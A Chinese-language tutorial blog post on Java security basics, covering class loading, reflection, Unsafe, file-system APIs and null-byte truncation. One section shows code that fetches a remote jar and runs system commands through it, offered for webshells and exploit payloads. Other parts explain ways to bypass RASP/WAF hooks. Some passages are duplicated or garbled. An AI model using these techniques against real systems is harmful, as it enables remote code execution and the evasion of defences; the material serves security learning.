Java安全(一) : java類 | 反射

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

在這里插入圖片描述

1.java基礎

Java平臺共分為三個主要版本Java SE(Java Platform, Standard Edition,Java平臺標準版)、Java EE(Java Platform Enterprise Edition,Java平臺企業版)、和Java ME(Java Platform, Micro Edition,Java平臺微型版)。

2. java類

2.1Classloader 類加載機制

Java是一個依賴于JVM(Java虛擬機)實現的跨平臺的開發語言。Java程序在運行前需要先編譯成class文件,Java類初始化的時候會調用java.lang.ClassLoader加載類字節碼,ClassLoader會調用JVM的native方法(defineClass0/1/2)來定義一個java.lang.Class實例。
在這里插入圖片描述

2.2.java類

Java是編譯型語言,我們編寫的java文件需要編譯成后class文件后才能夠被JVM運行,學習ClassLoader之前我們先簡單了解下Java類。
示例TestHelloWorld.java:

示例TestHelloWorld.java:

package com;/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestHelloWorld {public void hello() {
System.out.println("Hello, World!");}}

編譯TestHelloWorld.java:javac TestHelloWorld.java
我們可以通過JDK自帶的javap命令反匯編TestHelloWorld.class文件對應的com.anbai.sec.classloader.TestHelloWorld類,以及使用Linux自帶的hexdump命令查看TestHelloWorld.class文件二進制內容:

在這里插入圖片描述
JVM在執行TestHelloWorld之前會先解析class二進制內容,JVM執行的其實就是如上javap命令生成的字節碼(ByteCode)。

2.3. ClassLoader

一切的Java類都必須經過JVM加載后才能運行,而ClassLoader的主要作用就是Java類文件的加載。在JVM類加載器中最頂層的是Bootstrap ClassLoader(引導類加載器)、Extension ClassLoader(擴展類加載器)、App ClassLoader(系統類加載器),AppClassLoader是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用AppClassLoader加載類,ClassLoader.getSystemClassLoader()返回的系統類加載器也是AppClassLoader。
值得注意的是某些時候我們獲取一個類的類加載器時候可能會返回一個null值,如:java.io.File.class.getClassLoader()將返回一個null對象,因為java.io.File類在JVM初始化的時候會被Bootstrap ClassLoader(引導類加載器)加載(該類加載器實現于JVM層,采用C++編寫),我們在嘗試獲取被Bootstrap ClassLoader類加載器所加載的類的ClassLoader時候都會返回null。
ClassLoader類有如下核心方法:
1.
loadClass(加載指定的Java類)
2.
findClass(查找指定的Java類)
3.
findLoadedClass(查找JVM已經加載過的類)
4.
defineClass(定義一個Java類)
5.
resolveClass(鏈接指定的Java類)

2.4 Java類動態加載方式

Java類加載方式分為顯式和隱式,顯式即我們通常使用Java反射或者ClassLoader來動態加載一個類對象,而隱式指的是類名.方法名()或new類實例。顯式類加載方式也可以理解為類動態加載,我們可以自定義類加載器去加載任意的類。
常用的類動態加載

// 反射加載TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");// ClassLoader加載TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName(“類名”)默認會初始化被加載類的靜態屬性和方法,如果不希望初始化類可以使用
Class.forName(“類名”, 是否初始化類, 類加載器),而ClassLoader.loadClass默認不會初始化類方法

2.5. ClassLoader類加載流程

理解Java類加載機制并非易事,這里我們以一個Java的HelloWorld來學習ClassLoader。
ClassLoader加載com.anbai.sec.classloader.TestHelloWorld類重要流程如下:
1.
ClassLoader會調用public Class<?> loadClass(String name)方法加載com.anbai.sec.classloader.TestHelloWorld類。
2.
調用findLoadedClass方法檢查TestHelloWorld類是否已經初始化,如果JVM已初始化過該類則直接返回類對象。
3.
如果創建當前ClassLoader時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載TestHelloWorld類,否則使用JVM的Bootstrap ClassLoader加載。
4.
如果上一步無法加載TestHelloWorld類,那么調用自身的findClass方法嘗試加載TestHelloWorld類。
5.
如果當前的ClassLoader沒有重寫了findClass方法,那么直接返回類加載失敗異常。如果當前類重寫了findClass方法并通過傳入的com.anbai.sec.classloader.TestHelloWorld類名找到了對應的類字節碼,那么應該調用defineClass方法去JVM中注冊該類。
6.
如果調用loadClass的時候傳入的resolve參數為true,那么還需要調用resolveClass方法鏈接類,默認為false。
7.
返回一個被JVM加載后的java.lang.Class類對象。

2.6 自定義ClassLoader

java.lang.ClassLoader是所有的類加載器的父類,
java.lang.ClassLoader有非常多的子類加載器,比如我們用于加載jar包的
java.net.URLClassLoader其本身通過繼承java.lang.ClassLoader類,重寫了findClass方法從而實現了加載目錄class文件甚至是遠程資源文件。
既然已知ClassLoader具備了加載類的能力,那么我們不妨嘗試下寫一個自己的類加載器來實現加載自定義的字節碼(這里以加載TestHelloWorld類為例)并調用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld類存在的情況下,我們可以使用如下代碼即可實現調用hello方法并輸出

TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我們的classpath,那么我們可以使用自定義類加載器重寫findClass方法,然后在調用defineClass方法的時候傳入TestHelloWorld類的字節碼的方式來向JVM中定義一個TestHelloWorld類,最后通過反射機制就可以調用TestHelloWorld類的hello方法了。

TestClassLoader示例代碼:

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定義遠程加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 創建URLClassLoader對象,并加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定義需要執行的系統命令
String cmd = "ls";// 通過URLClassLoader加載遠程jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");// 調用CMD類中的exec方法,等價于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}

利用自定義類加載器我們可以在webshell中實現加載并調用自己編譯的類對象,比如本地命令執行漏洞調用自定義類字節碼的native方法繞過RASP檢測,也可以用于加密重要的Java類字節碼(只能算弱加密了)。

2.7: URLClassLoader

URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠程資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠程的jar來實現遠程的類方法調用。

  • TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定義遠程加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 創建URLClassLoader對象,并加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定義需要執行的系統命令
String cmd = "ls";// 通過URLClassLoader加載遠程jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");// 調用CMD類中的exec方法,等價于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}

遠程的cmd.jar中就一個CMD.class文件,對應的編譯之前的代碼片段如下:

import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}}

程序執行結果如下:

README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml

3 j ava反射機制:

3.1 java反射機制

Java反射(Reflection)是Java非常重要的動態特性,通過使用反射我們不僅可以獲取到任何類的成員方法(Methods)、成員變量(Fields)、構造方法(Constructors)等信息,還可以動態創建Java類實例、調用任意的類方法、修改任意的類成員變量值等。Java反射機制是Java語言的動態性的重要體現,也是Java的各種框架底層實現的靈魂。

3.2 獲取class對象:

Java反射操作的是java.lang.Class對象,所以我們需要先想辦法獲取到Class對象,通常我們有如下幾種方式獲取一個類的Class對象:

1.類名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。
2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");

獲取數組類型的Class對象需要特殊注意,需要使用Java類型的描述符方式,如下:

Class<?> doubleArray = Class.forName("[D");//相當于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相當于String[][].class

獲取Runtime類Class對象代碼片段:

String className     = "java.lang.Runtime";
Class  runtimeClass1 = Class.forName(className);
Class  runtimeClass2 = java.lang.Runtime.class;
Class  runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通過以上任意一種方式就可以獲取java.lang.Runtime類的Class對象了,反射調用內部類的時候需要使用來代替.,如com.anbai.Test類有一個叫做Hello的內部類,那么調用的時候就應該將類名寫成:com.anbai.Test來代替.,如com.anbai.Test類有一個叫做Hello的內部類,那么調用的時候就應該將類名寫成:com.anbai.Test來代替.,com.anbai.Test類有一個叫做Hello的內部類,那么調用的時候就應該將類名寫成:com.anbai.TestHello。

3.2 反射java.lang.Runtime

java.lang.Runtime 因為有一個exec方法可以執行本地命令,所以在很多payload都可以看到反射調用Runtime嘞來執行本地系統命令,學習如何反射Runtime類可以讓我理解反射的一些基本用法

不實用反射執行本地命令的代碼片段:

// 輸出命令執行結果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(),"UTF-8"));

可以看到使用一行代碼完成本地嗎執行操作,如果是使用反射就比較麻煩了,我們不得不需要間接性的調用Runtime的exec方法

反射Runtime執行本地命令代碼片段:

// 獲取Runtime類對象Class runtimeClass1 = Class.forName("java.lang.Runtime");// 獲取構造方法Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);// 創建Runtime類示例,等價于 Runtime rt = new Runtime();Object runtimeInstance = constructor.newInstance();// 獲取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);// 調用exec方法,等價于 rt.exec(cmd);Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 獲取命令執行結果InputStream in = process.getInputStream();// 輸出命令執行結果System.out.println(IOUtils.toString(in, "UTF-8"));

反射調用Runtime實現本地命令執行的流程如下:
1.
反射獲取Runtime類對象(Class.forName(“java.lang.Runtime”))。
2.
使用Runtime類的Class對象獲取Runtime類的無參數構造方法(getDeclaredConstructor()),因為Runtime的構造方法是private的我們無法直接調用,所以我們需要通過反射去修改方法的訪問權限(constructor.setAccessible(true))。
3.
獲取Runtime類的exec(String)方法(runtimeClass1.getMethod(“exec”, String.class)😉。
4.
調用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。

上面的代碼每一步都寫了非常清晰的注釋,接下來我們將進一步深入的了解下每一步具體含義。

反射創建類實例
在Java的任何一個類都必須有一個或多個構造方法,如果代碼中沒有創建構造方法那么在類編譯的時候會自動創建一個無參數的構造方法。

 - Runtime類構造方法示例代碼片段:
public class Runtime{
/** Don't let anyone else instantiate this class */
private Runtime(){}}

從上面的Runtime類代碼注釋我們看到它本身是不希望除了其自身的任何人去創建該類實例的,因為這是一個私有的類構造方法,所以我們沒辦法new一個Runtime類實例即不能使用Runtime rt = new Runtime();的方式創建Runtime對象,但示例中我們借助了反射機制,修改了方法訪問權限從而間接的創建出了Runtime對象。

runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以獲取到類構造方法,區別在于后者無法獲取到私有方法,所以一般在獲取某個類的構造方法時候我們會使用前者去獲取構造方法。如果構造方法有一個或多個參數的情況下我們應該在獲取構造方法時候傳入對應的參數類型數組,如:clazz.getDeclaredConstructor(String.class, String.class)。

如果我們想獲取類的所有構造方法可以使用:clazz.getDeclaredConstructors來獲取一個Constructor數組。
獲取到Constructor以后我們可以通過constructor.newInstance()來創建類實例,同理如果有參數的情況下我們應該傳入對應的參數值,如:constructor.newInstance(“admin”, “123456”)。當我們沒有訪問構造方法權限時我們應該調用constructor.setAccessible(true)修改訪問權限就可以成功的創建出類實例了。

4. sun.misc.Unsafe

4.1 sun.misc.Unsafe

sun.misc.Unsafe是Java底層API(僅限Java內部使用,反射可調用)提供的一個神奇的Java類,Unsafe提供了非常底層的內存、CAS、線程調度、類、對象等操作、Unsafe正如它的名字一樣它提供的幾乎所有的方法都是不安全的,本節只講解如何使用Unsafe定義Java類、創建類實例。

4.2 獲取Unsafe對象

Unsafe是Java內部API,外部是禁止調用的,在編譯Java類時如果檢測到引用了Unsafe類也會有禁止使用的警告:Unsafe是內部專用 API, 可能會在未來發行版中刪除。
sun.misc.Unsafe代碼片段:

在這里插入代碼片
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;public final class Unsafe {private static final Unsafe theUnsafe;static {theUnsafe = new Unsafe();省去其他代碼......}private Unsafe() {}@CallerSensitive  <!--使用CallerSensitive后,getCallerClass不再用固定深度去尋找actual caller(“我”),而是把所有跟反射相關的接口方法都標注上CallerSensitive,搜索時凡看到該注解都直接跳過,防止惡意構造雙重反射來提升權限-->public static Unsafe getUnsafe() {Class var0 = Reflection.getCallerClass();if (var0.getClassLoader() != null) {throw new SecurityException("Unsafe");} else {return theUnsafe;}}省去其他代碼......
}

由上代碼片段可以看到,Unsafe類是一個不能被繼承的類且不能直接通過new的方式創建Unsafe類實例,如果通過getUnsafe方法獲取Unsafe實例還會檢查類加載器,默認只允許Bootstrap Classloader調用。
既然無法直接通過Unsafe.getUnsafe()的方式調用,那么可以使用反射的方式去獲取Unsafe類實例。

  • 反射獲取Unsafe類實例代碼片段:
// 反射獲取Unsafe的theUnsafe成員變量Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");// 反射設置theUnsafe訪問權限
theUnsafeField.setAccessible(true);// 反射獲取theUnsafe成員變量值Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

當然我們也可以用反射創建Unsafe類實例的方式去獲取Unsafe對象:

// 獲取Unsafe無參構造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();// 修改構造方法訪問權限
constructor.setAccessible(true);// 反射創建Unsafe類實例,等價于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInsta

nce();

4.3 allocateInstance無視構造方法創建類實例

假設我們有一個叫com.anbai.sec.unsafe.UnSafeTest的類,因為某種原因我們不能直接通過反射的方式去創建UnSafeTest類實例,那么這個時候使用Unsafe的allocateInstance方法就可以繞過這個限制了。

  • UnSafeTest代碼片段:
UnSafeTest代碼片段:public class UnSafeTest {private UnSafeTest() {// 假設RASP在這個構造方法中插入了Hook代碼,我們可以利用Unsafe來創建類實例System.out.println("init...");}

}

使用Unsafe創建UnSafeTest對象:

// 使用Unsafe創建UnSafeTest類實例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);

Google的GSON庫在JSON反序列化的時候就使用這個方式來創建類實例,在滲透測試中也會經常遇到這樣的限制,比如RASP限制了java.io.FileInputStream類的構造方法導致我們無法讀文件或者限制了UNIXProcess/ProcessImpl類的構造方法導致我們無法執行本地命令等。

4.4 defineClass直接調用JVM創建類對象

ClassLoader章節我們講了通過ClassLoader類的defineClass0/1/2方法我們可以直接向JVM中注冊一個類,如果ClassLoader被限制的情況下我們還可以使用Unsafe的defineClass方法來實現同樣的功能。
Unsafe提供了一個通過傳入類名、類字節碼的方式就可以定義類的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);

  • 使用Unsafe創建TestHelloWorld對象:
// 使用Unsafe向JVM中注冊com.anbai.sec.classloader.TestHelloWorld類
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME,
TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
  • 或調用需要傳入類加載器和保護域的方法:
// 獲取系統的類加載器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();// 創建默認的保護域
ProtectionDomain domain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, classLoader, null
);// 使用Unsafe向JVM中注冊com.anbai.sec.classloader.TestHelloWorld類
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);

Unsafe 還可以通過 defineAnonymousClass 方法創建內部類,此處不再多做測試

注意:
這個實例僅適用于 java 8 以前的版本,在java 8 中應該使用調用需要傳類加載器和保護域的那個方法。 java 11 開始 Unsafe 已經把defineClass 方法移除了 (defineAnonmousClass方法還在), 雖然可以使用java.lang.invoke.MethodHandles.Loosup.defineClass 代替,但是 MethodHandles 只是間接調用了 ClassLoader 的 defineClass。 所以一切都回到了ClassLoader

5.java文件系統

眾所周知Java是一個跨平臺的語言,不同的操作系統有著完全不一樣的文件系統和特性。JDK會根據不同的操作系統(AIX,Linux,MacOSX,Solaris,Unix,Windows)編譯成不同的版本。
在Java語言中對文件的任何操作最終都是通過JNI調用C語言函數實現的。Java為了能夠實現跨操作系統對文件進行操作抽象了一個叫做FileSystem的對象出來,不同的操作系統只需要實現起抽象出來的文件操作方法即可實現跨平臺的文件操作了。

6.java FileSystem

6.1 Java FileSystem

Java SE 中內置了兩類文件系統: java.io 和 java.nio, java.nio 實現的是 sun.nio , 文件系統底層的API實現:
在這里插入圖片描述

6.2 Java.IO 文件系統

Java抽象出了一個叫做文件系統的對象:java.io.FileSystem,不同的操作系統有不一樣的文件系統,例如Windows和Unix就是兩種不一樣的文件系統: java.io.UnixFileSystem、java.io.WinNTFileSystem。

在這里插入圖片描述

java.io.FileSystem是一個抽象類,它抽象了對文件的操作,不同操作系統版本的JDK會實現其抽象的方法從而也就實現了跨平臺的文件的訪問操作。

在這里插入圖片描述示例中的java.io.UnixFileSystem最終會通過JNI調用native方法來實現對文件的操作:

在這里插入圖片描述由此我們可以得出Java只不過是實現了對文件操作的封裝而已,最終讀寫文件的實現都是通過調用native方法實現的。
不過需要特別注意一下幾點:

1.并不是所有的文件操作都在java.io.FileSystem中定義,文件的讀取最終調用的是

java.io.FileInputStream#read0、readBytes、
java.io.RandomAccessFile#read0、readBytes,
而寫文件調用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。

2.Java有兩類文件系統API!一個是基于阻塞模式的IO的文件系統,另一是JDK7+基于NIO.2的文件系統。
6.3 java NIO.2文件系統
Java 7提出了一個基于NIO的文件系統,這個NIO文件系統和阻塞IO文件系統兩者是完全獨立的。java.nio.file.spi.FileSystemProvider對文件的封裝和java.io.FileSystem同理。

在這里插入圖片描述
NIO的文件操作在不同的系統的最終實現類也是不一樣的,比如Mac的實現類是: sun.nio.fs.UnixNativeDispatcher,
而Windows的實現類是sun.nio.fs.WindowsNativeDispatcher。
合理的利用NIO文件系統這一特性我們可以繞過某些只是防御了java.io.FileSystem的WAF/RASP。

7.Java IO/NIO多種讀寫文件方式

7.1

上一章節我們提到了Java 對文件的讀寫分為了基于阻塞模式的IO和非阻塞模式的NIO,本章節我將列舉一些我們常用于讀寫文件的方式。
我們通常讀寫文件都是使用的阻塞模式,與之對應的也就是java.io.FileSystem。java.io.FileInputStream類提供了對文件的讀取功能,Java的其他讀取文件的方法基本上都是封裝了java.io.FileInputStream類,比如:java.io.FileReader。

7.2 FileInputStream

使用FileInputStream實現文件讀取Demo:

package com.anbai.sec.filesystem;import java.io.*;/**
*
*
*/
public class FileInputStreamDemo {public static void main(String[] args) throws IOException {
File file = new File("D:\\test/test.txt");// 打開文件對象并創建文件輸入流
FileInputStream fis = new FileInputStream(file);// 定義每次輸入流讀取到的字節數對象
int a = 0;// 定義緩沖區大小
byte[] bytes = new byte[1024];// 創建二進制輸出流對象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循環讀取文件內容
while ((a = fis.read(bytes)) != -1) {
// 截取緩沖區數組中的內容,(bytes, 0, a)其中的0表示從bytes數組的
// 下標0開始截取,a表示輸入流read到的字節數。
out.write(bytes, 0, a);
}System.out.println(out.toString());
}}

輸出結果如下:

在這里插入圖片描述
調用鏈如下:

java.io.FileInputStream.readBytes(FileInputStream.java:219)
java.io.FileInputStream.read(FileInputStream.java:233)
com.anbai.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27)

其中的readBytes是native方法,文件的打開、關閉等方法也都是native方法:
naticve方法: 一個Native Method就是一個java調用非java代碼的接口。一個Native Method是這樣一個java的方法:該方法的實現由非java語言實現,比如C

  • java.io.FileInputStream類對應的native實現如下:
JNIEXPORT void JNICALL
Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) {fileOpen(env, this, path, fis_fd, O_RDONLY);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_read0(JNIEnv *env, jobject this) {return readSingle(env, this, fis_fd);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_readBytes(JNIEnv *env, jobject this,jbyteArray bytes, jint off, jint len) {return readBytes(env, this, bytes, off, len, fis_fd);
}JNIEXPORT jlong JNICALL
Java_java_io_FileInputStream_skip0(JNIEnv *env, jobject this, jlong toSkip) {jlong cur = jlong_zero;jlong end = jlong_zero;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if ((cur = IO_Lseek(fd, (jlong)0, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");} else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");}return (end - cur);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_available0(JNIEnv *env, jobject this) {jlong ret;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if (IO_Available(fd, &ret)) {if (ret > INT_MAX) {ret = (jlong) INT_MAX;} else if (ret < 0) {ret = 0;}return jlong_to_jint(ret);}JNU_ThrowIOExceptionWithLastError(env, NULL);return 0;
}

完整代碼參考OpenJDK:openjdk/src/java.base/share/native/libjava/FileInputStream.c

7.3 FileOutputStream

  • 使用FileOutputStream實現寫文件Demo:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FileOutputStreamDemo {public static void main(String[] args) throws IOException {// 定義寫入文件路徑File file = new File("D://test/test.txt");// 定義待寫入文件內容String content = "Hello World.";// 創建FileOutputStream對象FileOutputStream fos = new FileOutputStream(file);// 寫入內容二進制到文件fos.write(content.getBytes());fos.flush();fos.close();}}

代碼邏輯比較簡單: 打開文件->寫內容->關閉文件,調用鏈和底層實現分析請參考FileInputStream。

7.4 RandomAccessFile

Java提供了一個非常有趣的讀取文件內容的類: java.io.RandomAccessFile,這個類名字面意思是任意文件內容訪問,特別之處是這個類不僅可以像java.io.FileInputStream一樣讀取文件,而且還可以寫文件。
RandomAccessFile讀取文件測試代碼:

package com.anbai.sec.filesystem;import java.io.*;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");try {
// 創建RandomAccessFile對象,r表示以只讀模式打開文件,一共有:r(只讀)、rw(讀寫)、
// rws(讀寫內容同步)、rwd(讀寫內容或元數據同步)四種模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");// 定義每次輸入流讀取到的字節數對象
int a = 0;// 定義緩沖區大小
byte[] bytes = new byte[1024];// 創建二進制輸出流對象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循環讀取文件內容
while ((a = raf.read(bytes)) != -1) {
// 截取緩沖區數組中的內容,(bytes, 0, a)其中的0表示從bytes數組的
// 下標0開始截取,a表示輸入流read到的字節數。
out.write(bytes, 0, a);
}System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
}}

任意文件讀取特性體現在如下方法:

// 獲取文件描述符
public final FileDescriptor getFD() throws IOException// 獲取文件指針
public native long getFilePointer() throws IOException;// 設置文件偏移量
private native void seek0(long pos) throws IOException;

java.io.RandomAccessFile類中提供了幾十個readXXX方法用以讀取文件系統,最終都會調用到read0或者readBytes方法,我們只需要掌握如何利用RandomAccessFile讀/寫文件就行了。

  • RandomAccessFile寫文件測試代碼:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessWriteFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");// 定義待寫入文件內容
String content = "Hello World.";try {
// 創建RandomAccessFile對象,rw表示以讀寫模式打開文件,一共有:r(只讀)、rw(讀寫)、
// rws(讀寫內容同步)、rwd(讀寫內容或元數據同步)四種模式。
RandomAccessFile raf = new RandomAccessFile(file, "rw");// 寫入內容二進制到文件
raf.write(content.getBytes());
raf.close();
} catch (IOException e) {
e.printStackTrace();
}
}}

在這里插入圖片描述

7.5 FileSystemProvider

前面章節提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我們可以利用支持異步的通道(Channel)模式讀取文件內容。

  • FileSystemProvider讀取文件內容示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesDemo {public static void main(String[] args) {
// 通過File對象定義讀取的文件路徑
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定義讀取的文件路徑
Path path = Paths.get("D://test/test.txt");try {
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
}}

在這里插入圖片描述
java.nio.file.Files是JDK7開始提供的一個對文件讀寫取非常便捷的API,其底層實在是調用了java.nio.file.spi.FileSystemProvider來實現對文件的讀寫的。最為底層的實現類是sun.nio.ch.FileDispatcherImpl#read0。
基于NIO的文件讀取邏輯是:

  • 打開FileChannel->讀取Channel內容。
sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)

文件讀取的調用鏈為:

sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
  • FileSystemProvider寫文件示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesWriteDemo {public static void main(String[] args) {
// 通過File對象定義讀取的文件路徑
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定義讀取的文件路徑
Path path = Paths.get("D://test/test.txt");// 定義待寫入文件內容
String content = "Hello World.";try {
// 寫入內容二進制到文件
Files.write(path, content.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
}}

在這里插入圖片描述

7.6 文件讀寫總結:

Java內置的文件讀取方式大概就是這三種方式,其他的文件讀取API可以說都是對這幾種方式的封裝而已(依賴數據庫、命令執行、自寫JNI接口不算,本人個人理解,如有其他途徑還請告知)。本章我們通過深入基于IO和NIO的Java文件系統底層API,希望大家能夠通過以上Demo深入了解到文件讀寫的原理和本質。

8 Java文件名空字節截斷漏洞

8.1 Java文件名空字節截斷漏洞

空字節截斷漏洞漏洞在諸多編程語言中都存在,究其根本是Java在調用文件系統(C實現)讀寫文件時導致的漏洞,并不是Java本身的安全問題。不過好在高版本的JDK在處理文件時已經把空字節文件名進行了安全檢測處理。

8.2 文件名空字節漏洞歷史

2013年9月10日發布的Java SE 7 Update 40修復了空字節截斷這個歷史遺留問題。此次更新在java.io.File類中添加了一個isInvalid方法,專門檢測文件名中是否包含了空字節

/**
* Check if the file has an invalid path. Currently, the inspection of
* a file path is very limited, and it only covers Nul character check.
* Returning true means the path is definitely invalid/garbage. But
* returning false does not guarantee that the path is valid.
*
* @return true if the file path is invalid.
*/
final boolean isInvalid() {if (status == null) {status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED: PathStatus.INVALID;}return status == PathStatus.INVALID;
}

修復的JDK版本所有跟文件名相關的操作都調用了isInvalid方法檢測,防止文件名空字節截斷。在這里插入圖片描述

修復前(Java SE 7 Update 25)和修復后(Java SE 7 Update 40)的對比會發現Java SE 7 Update 25中的java.io.File類中并未添加\u0000的檢測。
在這里插入圖片描述
